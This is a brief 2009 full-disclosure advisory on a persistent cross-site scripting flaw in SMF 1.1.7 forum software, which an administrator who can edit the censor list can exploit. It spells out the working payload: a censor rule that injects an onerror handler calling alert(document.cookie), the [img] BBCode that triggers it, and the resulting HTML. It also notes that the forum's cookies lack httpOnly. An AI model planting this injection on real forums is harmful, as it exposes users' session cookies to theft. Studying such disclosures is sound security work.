SMF 1.1.7 Persistent XSS (requires permision to edit censor)

Type securityvulns
Reporter Securityvulns
Modified 2009-02-05T00:00:00


SMF 1.1.7 ( XSS


If you can modify the censor on a SMF forum, then you can make it execute arbitrary JS code.;sa=censor

Just add the following entry: http://www.test.xss/ => http://www.test-xss/" onerror="alert(document.cookie)

And then write a post, modify your signature, or send a PM with the code: [img]http://www.test.xss/[/img]

And the HTML code generated will be.. <img src="http://www.test-xss/" onerror="alert(document.cookie)" alt="" border="0" />

Notes: - SMF is not using httpOnly cookies. - I'm going full disclosure with this because I've had bad experiences with the SMF team when reporting vulnerabilities..

Greetings!! -- Eduardo